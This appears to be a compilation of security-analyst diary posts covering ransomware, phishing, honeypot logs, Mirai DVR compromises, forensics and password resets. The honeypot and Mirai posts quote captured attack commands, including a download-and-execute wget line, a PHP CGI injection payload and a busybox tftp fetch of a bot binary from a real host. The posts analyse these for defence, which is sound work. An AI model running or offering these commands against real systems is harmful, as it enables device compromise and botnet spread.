Shown above:  CAPTCHA images before you can pass.

Shown above:  CAPTCHA images that will let you pass.
Notice the verify button is no longer shaded out.

This particular Cerber infection showed a ransom payment of 0.7238 bitcoin (460 US dollars) for the first 5 days, after which it will double to 1.4476 bitcoin (921 US dollars).

Shown above:  The price to decrypt your files.

Final words

Like other ransomware, Cerber continues to be an evolving threat.  I usually see Cerber distributed through EK traffic, but malicious spam (malspam) is another popular method for mass distribution of ransomware.  However, these aren't the only vectors.  Social media is another vector that's increasingly popular for more targeted attacks.  One reader shared a story of being targeted with ransomware through a person contacting her on Skype (see comments from SaraTheEnthusiast at the end of this diary).

For EK traffic, properly-administered Windows hosts are not likely to be infected.  As long as your Windows host is up-to-date and fully patched, your risk is minimal for ransomware delivered through an EK.  If you're running Windows 10, you have little to worry about.

But enough people are running outdated versions of Windows that are un-patched or poorly-administered, so EK campaigns will continue.  The pseudoDarkleech campaign has been using EKs to push ransomware, quite literally, for years now.  And like other EK-based campaigns, it shows no signs of stopping.

Pcap and malware for this diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

In my post Forensicating Docker, Part 1 back in March (yes, I promise a Part 2 in the next couple of months, the $dayjob has slowed that down a bit), I talked a little about the AUFS layered filesystem that was used by the docker install on the system I was investigating. While I was forensicating the case I talked about in that diary, I wanted to see what the container filesystem looked like from my SIFT VM so I wrote a script to do the mounting the same way docker does (except for forensic purposes the mount is read-only). The script can be found here. Unfortunately, docker can use multiple storage drivers.  So far, I've adapted the script to handle two/three of them, AUFS and Overlay/Overlay2. AUFS is the default on (older?) versions of Ubuntu, but AUFS isn't included by default in RedHat (or derivates), you would have to compile your own kernel. Overlay2 is included in newer kernels (pretty much anything after 3.18), so I suspect it may become the default at some point in the future. These are the storage drivers that handle so called Union filesystems to handle the layering. The btrfs, zfs, and devicemapper storage drivers are all block-level rather than file-level storage drivers. In effect, they require separate devices/partitions/loop-mounted files taking advantage of filesystem features such as snapshots in the underlying filesystem drivers to handle the layering.  While I think I can get btrfs into the script, I haven't looked at zfs and I've had difficutly with devicemapper, so I may not be able to get all of these. See [3] and [4] below for more background on docker storage drivers.

Having gone through all of that, for the purpose of forensication, it is important to remember that changes made within a container will all be captured in the "top" layer of these layered or union filesystems. To find that top layer (for docker >= 1.9), you need to look at /var/lib/docker/image/storagedriver/layerdb/mounts/containerid/mount-id to find the id for the container storage. Then, the changes will be taking place in /var/lib/docker/storagedriver/containermedia-init/diff, so that is where you should expect to find any indications of malicious activity within the container.

References:
[1] https://isc.sans.edu/forums/diary/Forensicating+Docker+Part+1/20835/
[2] https://github.com/clausing/docker-scripts
[3] https://docs.docker.com/engine/userguide/storagedriver/imagesandcontainers/
[4] https://integratedcode.us/2016/08/30/storage-drivers-in-docker-a-deep-dive/

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

WiFi networks are everywhere! When we plan to visit a place or reserve a hotel for our holidays, we always check first if free WiFi is available (be honest, you do!). Once we connected our beloved devices to an external wireless network, they will keep trying to connect to it forever or until you clean the list of known networks. As a small test, I checked on a friend’s computer and I found 87 saved wireless networks:

You can see that the default behaviour is to remember all the networks. Your devices may not only connect to dangerous networks but also disclose interesting information about yourself. A long time ago, I wrote a script to collect SSID's broadcasted from wireless devices present in the neighbourhood[1]. The amount of details you can learn about people close to you is just crazy: where they work, where they went on holidays, if they go to the hospital, etc...

October is the month of security awareness and it's good to remind you why unknown wireless networks remain dangerous. Last week, I made a demo during a corporate event about the cyber security landscape and was authorized to deploy a rogue wireless access point for security awareness purposes. The setup was simple:

• A Pineapple[2]
• One laptop running Dofler[2]

Dofler is a "dashboard of fail" or a "wall of sheep” used, mainly in security conference (I'm using it at BruCON) to raise the attendees' security awareness. Its main feature is to extract on the fly pictures from the web traffic generated by the user:

As you can imagine, many people felt into the trap and their smartphone connected to my rogue AP. An interesting finding: a smart watch connected to the honeypot but the paired smartphone had wireless disabled! The demo was not too invasive, no SSL MitM was performed and I collected only some pictures live from the network flows. No impact for the users, except maybe for the one who was discovered playing Minecraft during the presentations.

However, things may go wrong and more evil actions may be performed against the victims. Yesterday, we received a message from one of our readers, Siddhu Yetheendra[4], who implemented the same kind of attack as the one implemented by Mubix[5] a few weeks ago. Based on USB-sized computer devices, he found a way to steal user's credentials from a locked Windows computer. The principle remains the same but via a rogue wireless access point, the responder[6] tool is poisoning the network and collect credentials hashes (NTLM responses). If many computers are vulnerable to this attack, they are hopefully limitations. The victim computer:

• must be a corporate device joined to a Windows domain
• must be running Windows 7+
• must have the option 'Connect automatically' enabled

Note that the vulnerability has been fixed by Microsoft (MS16-112[7]).

Basically, only "open" networks will work because computers will always try to reconnect to "known" networks transparently. Corporate wireless networks are not affected. But the risk comes, as always, from the end user. How to prevent him/her connecting to the local Starbucks network while drinking his/her morning coffee?

To mitigate this attack, the classic advices are: Patch your systems (MS16-112 has been released in September), do not use the "connect automatically' feature and do not use wireless networks in public areas. Stay safe!

[1] https://blog.rootshell.be/2012/01/12/show-me-your-ssids-ill-tell-who-you-are/
[2] https://www.wifipineapple.com/
[3] https://github.com/SteveMcGrath/DoFler
[4] https://zone13.io/post/Snagging-credentials-over-WiFi-Part1/
[5] https://room362.com/post/2016/snagging-creds-from-locked-machines/
[6] https://github.com/SpiderLabs/Responder
[7] https://technet.microsoft.com/en-us/library/security/ms16-112.aspx?f=255&MSPPError=-2147217396

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Microsoft published nine bulletins plus one bulletin affecting Adobe Flash. These bulletins fix 43 vulnerabilities in Microsoft software, and  11 in Flash.

Several of the bulletins address vulnerabilities that are already exploited in the wild. Most of these vulnerabilities are information disclosure vulnerabilities. One of them, %%cve:2016-3393%% is a remote code execution vulnerability which is why I labeled it as "Patch Now".

For more details, see how summary here: 

https://isc.sans.edu/mspatchdays.html?viewday=2016-10-11

or our API for automatic processing of the data.

https://isc.sans.edu/api/getmspatchday/2016-10-11

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Radare2 is an open-source reverse-engineering framework.

Some time ago I wrote about recovering ransomed pictures. By calculating the entropy of the ransomed files with my byte-stats tool, I could see that the file was not completely encrypted.

rahash2 is one of the tools in the Radare2 framework. As it names implies, it calculates (cryptographic) hashes, but it is quite versatile. For example, it will also calculate entropy:

And like my byte-stats.py tool, it can also split the file in blocks and calculate the entropy for each block. You do this with option -b blocksize, and it will also produce a nice ASCII-art graph:

If you have interesting tips for rahash2 (or other Radare2 tools), please post a comment.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Dr. J. put out an appeal earlier today for readers to send in any Scams related to Hurricane Matthew.  Literally within minutes Matthias sent us a Hurricane Matthew Phish that hit his inbox today. It purports to be from online payment company Stripe.

---

Welcome to Stripe!

Due To Hurricane Matthew, our servers have been affected and We be updated and all Users with 2-step verification should disable this function for the mean Time

Before we can fully provision your account, we need a few moments to verify some of the information you have provided.

We typically notify our customers of their provisioning status within an hour after severs are updated . However, in some cases we need to verify your information over the phone first. The call shouldn't take long, but due to many users on our system we can't be able to reach every one so we ask you update and confirm your details to be on a safe side 

further action may be required on your part. Please login to Your Dash board hxxps://dashboard.stripe.com/Hurricane Matthew- verification/ to update details

Users with wrong information would be banned from Our service

Regards,

Account Review Team

----

Of course the email is not from Stripe. Checking the usual; the spelling and grammar are okay; the formatting and punctuation are horrible; it was sent from an account in the ruby.net domain; and the dashboard link points to hxxp://fund2pay.org/stripe/ST/.

If you click through to the landing page.  Google is already catching this as a phishing site.

If you do click through, the page is an excellent rendition of the Stripe login page.

If you do enter your credentials it takes you to a very similar page, presumably so you can verify your credentials. If you are going to Phish someone you should make sure you get it right!

After you verified your credentials it passes you through to the real Stripe login page.  Although Stripe notices the redirect.

 Probably most interesting is that it requests Stripe users to disable their 2-factor authentication.  So assuming you do enter your credentials 3-times and disable your 2FA, the Phishers would have unimpeded access to the account. Tricky!

In my mind this falls into the realm of low probability of success, but as P.T. Barnum said "There's a sucker born every minute."

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

A number of sources, including DShield, have noticed an uptick on port 2323 TCP beginning around 3 weeks ago.

This is the scanner portion of the Mirai botnet scanning for IoT devices on both 23/TCP and 2323/TCP.   There are a number of IoT devices that use port 2323/TCP as an alternate port for Telnet.  Those who have setup listeners on port 2323 are seeing brute force credential attacks utilizing a small dictionary.

The Mirai botnet iwas used to attempt to DDOS Brian Krebs website i and ifor the nearly 1 Tbps DDOS against OVH in late September

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

A number of the handlers, including myself, run a number of honeypots around the planet. Unfortunately I don't get to play with them as much as I want to. There are a bunch of automated processes in place, but on occasion I have a honeypot day/night where I check how they are doing and to have a look to see what people are up to, as well as take a look at the executables being pulled. 

The main systems I have going at the moment are a SSH honeypot (kippo, soon to be cowrie), and a plain old web server. Looking at the last month or so, there are a few interesting things popping up as well as the usual suspects.  

The following are the top 10 locations attacking the web server. 

A fairly mixed bunch.  The attacks are mostly the general stuff, fairly typical for most organisations that have some sort of web presence. The site is empty so the only things we see are fully automated checks.  These are requests like: 

• (checking for file access) PROPFIND /webdav/ HTTP/1.1
• (exploitation) "GET /shell?%63%64%20%2F%74%6D%70%26%26%20%77%67%65%74%20%68%74%74%70%3A%2F%2F%32%32%32%2E%31%38%36%2E%32%31%2E%34%32%3A%33%33%38%39%30%2F%63%62%71%26%26%20%63%68%6D%6F%64%20%2B%78%20%63%62%71%26%26%20%2E%2F%63%62%71    
  • which is  --> cd /tmp&& wget hxxp://222.186.xx.xx:33890/cbq&& chmod +x cbq&& ./cbq    (the xx are mine) 
• (admin tool access) "GET //phpMyAdmin .....   Various types of requests
• (scanner) "GET /muieblackcat HTTP/1.1"
• (scanning) "GET /w00tw00t.at.ISC.SANS.DFind:   (no that is not us)
• (file inclusion)  "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E 
  • which is -->  phppath/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-n
• (openProxy Check) "CONNECT mx-tw.mail.gm0.yahoodns.net:25

The locations contain the usual suspects (NL, PL & CN).  SG was a little bit of a surprise, likewise CA, I don't usually get traffic from those spots.  

The SSH logs were interesting although  I had to make it the top 30. I suspect the pattern is relatively clear. Seems like Nanjing is a busy spot.  I've mentioned in a previous post (about a year ago) that the whole 222.186.0.0/16 subnet can easily be blocked and your SSH brute forcing attempts will go down significantly. Looks like the subnet is still heavily at it.  This pattern is repeated on other honeypots in different regions.   

On this particular honeypot I allow access when the correct password is provided. the top 10 in this case are as follows: 

In this case a Russian IP address was the most active, although the actual location for the IP is in Prague (RU provider).  They upload one stage which then fetches more nastiness. However, my honeypot doesn't take it that far.  The CN locations seem more interested in just guessing passwords and not actually doing much more than that. Most of the actual conenctions are usually from the US, NL and DE (although NL must have been having a few bad months).  

On the password and userid front the main user accounts and passwords used were: 

I also look at the least request, rather than the most requests as those often much more interesting/amusing 007jamesbond, or #$&%^$*&*&&^(**&(654 

So how do I use this information? Because the systems serve no real purpose in life all IPs that touch them go into my "you are not my friend" list which I use as part of threat intel activities. Those IPs automatically go into a list used by a SIEM to check for allowed inbound, or attempted outbound connections. The list also goes into a block list for proxies.  The passwords that have been attempted go into a word list, used for password audits or become part of vulnerability scans used to check environments (just use public keys and a strong password please).    

The web requests likewise go into a list of requests to be checked in web server logs.  Mainly to see how the web server dealt with the request.  Did it send it to a error page? did it try to fulfill the command? what was the resulting status code, etc.

So even though I don't always have the time to go and check them, they are still providing value on a daily basis.  If you are considering doing the same, just remember that when running honeypots you have responsibilities.  Make sure they can't be used for evil, they are not within your actual infrastructure and you check them regularly to make sure they are still doing what they are supposed to and nothing more.  

Cheers

Mark H 

This isn't really new. But two readers submitted logs like this today. So I figured it is time for a reminder.

If you see requests like this in your weblogs: 

a.b.c.d - - [04/Oct/2016:14:57:34 +0000] "\x16\x03\x02\x00\xDC\x01\x00\x00\xD8\x03\x02SC[\x90\x9D\x9Br\x0B\xBC\x0C\xBC+\x92\xA8H\x97\xCF\xBD9\x04\xCC\x16" 400 166 "-" "-"

The reason is almost always an SSL request sent to a non SSL server. In particular if you are running a web server on a port other then port 80 (e.g. 8080 or 8000), you will see attackers trying to scan your server assuming that it is running SSL.

To decode the byte sequence above:

\x16 - This indicates a "handshake". Typically, connections start with a client hello.
\x03\x02 - the SSL/TLS version. In this case "cutting edge" TLS 1.1 (0x03 0x01 is TLS 1.0)
\x00\0xDC - the length of the message. 0xDC = 220 Bytes.
\x01 - indeed.. a client hello (server hello would be '2')
\x00\x00\xD8 - the length of the client hello part of the message ( 216 Bytes)
\x03\x02 - SSL/TLS version again 
SC[\x90  - four byte time stamp (only non-printable characters use the \x encoding. So this translates to 0x53 0x43 0x5B 0x90
followed by some random bytes...

You will find various versions of this, depending on the SSL/TLS version used, the number of ciphers offered and the like.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Implementing password resets is hard. The problem comes down to how we authenticate a user who forgot the common secret(s) we shared. We all know, that "password reset questions" are often just weak "password bypass questions," and can not be used to authenticate a user reliably.

[OK OK OK... I see the comments already: "But I don't answer them correctly." Sure: you do. but you are also reading a blog about password reset questions. ...]

Let's talk about resetting passwords. In my opinion, password reset questions should never be considered as an authentication mechanism. Let's call them a rate-limiting tool: They prevent an attacker from flooding a victim with password reset e-mails. But this is about all they are good for.

So what else can we do? SMS or automated phone calls can be a reasonable option for some sites, but NIST in recent guidance regarding two-factor authentication pointed out that it is certainly possible for an attacker to obtain access to someone's SMS traffic. To do so, an attacker has to convince a phone company to add a new phone to the account. The process usually involves answering some questions similar to password reset questions, or some social engineering. The phone/SMS authentication isn't any better than the weak password reset questions we try to get rid off.

There is another method I have seen implemented a couple of times. I call it "password buddy". When you set up an account, you select a few individuals that may approve password resets on your behalf. In a corporate environment, these may be coworkers or your boss. But it could also be a family member. For this to work, both parties need to have an account at the same site.

Here is a quick workflow how this works:

1. User starts the password reset process
2. The user will answer a password reset question (quality of the question isn't all that important in that case)
3. Answering the question will trigger an email or SMS to the user with a one-time code. The purpose of the code is to prevent a DoS attack where someone starts the password reset but doesn't complete it, in effect locking out the user.
4. The user uses the one-time password select a new password. At this point, the account is locked
5. The user now notifies the "password buddy" and asks them to approve the reset
6. The password buddy logs in and will be presented with an option to approve the password reset
7. This will unlock the account. The user can now log in using the new password. (maybe send an e-mail to the user to notify them)

So this is the rough outline of the process. There are some possible problems with it:

• A password buddy may use their access to reset your password. This is why we still send an e-mail to the account holder, and we still ask password reset questions. At least we are not worse off than before.
• Same as above, but instead of your buddy turning against you, an attacker is taking over the buddy's account.
• An attacker could social engineer your buddy into approving the password reset. To do so, the attacker needs to know who the person is. It should also be more difficult to impersonate you to a person you know very well as compared to some anonymous help desk.
• What if your password buddies aren't available? This is why you pick a couple. Let's hope one of them is available in time.

If there is something else that doesn't work in security, then it is central "anonymous" help desks. They can almost always be social engineered. The idea behind this system is that you authenticate to someone who you work with daily, maybe you can even just walk over to them and ask them for help in person. Or a family member that knows you very well.

The "buddy" will never see your password. They just approve the fact that you changed it. They will also not know your password reset questions and any other details about your account. How they authenticate you is up to them, but in a corporate environment, you may want to set up some rules around how the authentication should happen (in person, over the phone...)

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Most devices connected to the Internet these days aren't maintained and monitored personal computers. Instead, they are devices who are often not understood as computers but as "things", giving rise to the term "Internet of Things" or "IoT".

Over two years ago, we reported about how exploited DVRs are used to attack other devices across the internet. Back then, like today, the vulnerability was an open telnet server with a trivial default password. At the time, we approached the manufacturer about this issue, and they released a firmware update that turned off telnet, by default, and actually made it a bit hard to turn on. You can no longer turn it on via the web-based interface, but only by using the "physical" interface displayed to the user connected to the DVR via an attached monitor.

But not all manufacturers did this, and there are of course still plenty of un-patched devices connected to the internet 2 years later.

As a result, we now have > 100,000 devices strong Botnets launching attacks exceeding 1TBps. [1]

One indication of this problem is visible in our data. If you look for common DVR default passwords, like xc3511, you will note a marked increase in the last couple of weeks:

Other passwords also increased significantly. For example look at 7ujMko0admin . This password doesn't look very weak at first. But, it turns out that some DVRs just prepend "7ujMko0" to the web based password. We use honeypots to capture this data, and they work well to collect the passwords, but they are poor match to the DVR's OS, so I decided to go a different route to figure out what happens next.

To test, how "bad" it is to expose a DVR to an internet connection, I did just that. I used an old DVR I had sitting around from the last DVR malware episode, and connected it to my "normal" cable modem internet connection. I captured all packets going in and out of the system, and kept watching it to make sure it wouldn't be used to attack other systems.

The sad part is, that I didn't have to wait long. The IP address is hit by telnet attempts pretty much every minute. Instead of having to wait for a long time to see an attack, my problem was that the DVR was often overwhelmed by the attacks, and the telnet server stopped responding. I had to reboot it every few minutes.

Not all attacks were successful. The attacks used various passwords, and my honeypot only allowed logins for one of them. But a couple times an hour, someone used the correct password.

The attacks I saw all followed a similar pattern:

1 - Initial Login

The attacker would run a couple of commands to make sure they are not connected to a router or a common honeypot like cowrie:

   dvrdvs login: root
   Password:

   BusyBox v1.16.1 (2014-03-04 16:00:18 CST) built-in shell (ash)

   Enter 'help' for a list of built-in commands.

   can not change to guest!

   [root@dvrdvs /] # enable
   -sh: enable: not found
   [root@dvrdvs /] # shell
   -sh: shell: not found
   [root@dvrdvs /] # sh /bin/busybox ECCHI

   BusyBox v1.16.1 (2014-03-04 16:00:18 CST) built-in shell (ash)

   Enter 'help' for a list of built-in commands.

   ECCHI: applet not found

The use of the command "busybox ECCHI" appears to have two functions. First of all, cowrie, and more "complete" Linux distrubtions then commonly found on DVRs will respond with a help screen if a wrong module is used. So this way, "ECCHI" can be used to detect honeypots and irrelevant systems if the reply isn't simply "ECCHI: applet not found". Secondly, the command is used as a market to indicate that the prior command finished. Later, the attacker adds "/bin/busybox ECCHI" at the end of each line, following the actual command to be executed.

This technique isn't new and we have seen it in the prior DVR and IoT compromises. Other strings are used as well, in particular the string "MIRAI". See the analysis by malware must die for more details about this and other similar botnets.

Quick side note: "ecchi" often refers to anime cartoons with adult content. "mirai" is the Japanese word for future. So we may be dealing with some anime fans here. 

2 - Additional Fingerprinting

The attacker then typically does some fingerprinting by reading /proc/cpuinfo and the list of partitions. 

Next, the attacker tests if a binary file can be created using the "echo" command, but creating a quick sample file:

   /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon

This sends the string "kami" to the file /.nippon. This test is then repeated on all partitions found in "mount".

The attacker will remove the file (.nippon in this case), and also remove a number of other similar files, that may have been left behind by the competition

rm /.t; rm /.sh; rm /.human

I have also seen .s being used, but it looks like this attacker wasn't aware of that file.

Next, the attacker tests if tftp and wget is available. On my system, only tftp was available. He tried to use it to download a tool called "dvrHelper", but the download failed in this case:

  /bin/busybox tftp -g -l dvrHelper -r mirai.arm7 77.247.181.215; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
  /bin/busybox cp dvrHelper upnp; > upnp; /bin/busybox chmod 777 upnp; /bin/busybox ECCHI

Finally, since neither tftp or wget worked, the attacker used the good old "echo" trick to build a binary:

  ​echo -ne '\x7f\x45\x4c\x46\x01\x01 ... ' > upnp ; /bin/busybox/ECCHI

I recovered two distinct binaries. The first one downloads additional malware via a simple TCP connection, while the second one appears to include the entire telnet scanner. 

3 - Download Bot/Scanner

Here is where things get a bit different from the older exploits. In the past, these exploits relied heavily on bash/perl/python scripts, or relatively bulky binaries. In this case, the binaries are very small, only a few hundred bytes long. "upnp" above is 1664 bytes long.

Soon after the binary is downloaded, it will start scanning for more vulnerable hosts at a very high rate (> 100 connections/second).

The results are passed to a collector on port 80 about once a minute. The request sent is not a normal HTTP request, but instead just the string "telnet arm7" . I didn't allow the system to reach any other vulnerable systems, but I suspect that the list of IP addresses it found vulnerable would have been added to the request.

Interestingly, I didn't see any attempt by these bots to reset the password. The DVR was left wide open to additional attacks.

During my experiments, the DVR was successfully attacked several times an hour. 

What can you do to help?

Consider running the latest version of cowrie on a honeypot to help us keep an eye on the passwords attempted to look for any shifts in the current pattern. And of course let your friends / family members know that the fancy security camera system they have may have a problem. 

Related Files:

- pcap of attack: https://isc.sans.edu/diaryimages/completedvrattack.pcap
- "upnp" binary: https://isc.sans.edu/diaryimages/dvrbot_upnp
- another binary from an earlier attack: https://isc.sans.edu/diaryimages/s_malware

I would like to thank Dave Hoelzer and and David Hollister who helped me understand the "s" binary above better.  

[1] Source Code for IoT Botnet ‘Mirai’ Released

[2] http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html?m=1

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Over the past few months there has been a lot of discussion about a shortage in data scientist and cybersecurity analyst, to name a few, where organizations find it difficult in filling cyber security positions. Some organizations are in some case, in a bidding war to attract or retain top talents. For example, Cisco launched in June a $10 Million Global Cybersecurity Scholarship to Increase Talent Pool [1] to help educate and add new talent into cybersecurity. We all know that every day somewhere, an organization is being attacked or worse, hacked.

A global study (eight countries were selected) by Center for Strategic and International Studies (CSIS) got some interesting results. This study reports that eighty-two percent of all respondents surveyed report a shortage of cybersecurity skills, seventy-one percent say the talent deficit has hurt their organization and nine out of ten say "cybersecurity technology could help compensate for skill shortage". [2][3] In the end, technology isn't perfect and a “human” needs to verify what it is firing on.

The questions I’m asking our readers are: How difficult is it to find and hire Cybersecurity Talent? Is the lack of Cybersecurity Talent impacting your organization?

[1] http://investor.cisco.com/investor-relations/news-and-events/news/news-details/2016/Cisco-Launches-10-Million-Global-Cybersecurity-Scholarship-to-Increase-Talent-Pool-Introduces-New-and-Updated-Certifications/default.aspx
[2] https://www.csis.org/events/hacking-skills-shortage
[3] http://www.mcafee.com/us/resources/reports/rp-hacking-skills-shortage.pdf
[4] https://blogs.mcafee.com/executive-perspectives/cybersecurity-talent-deficit-goes-global/

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu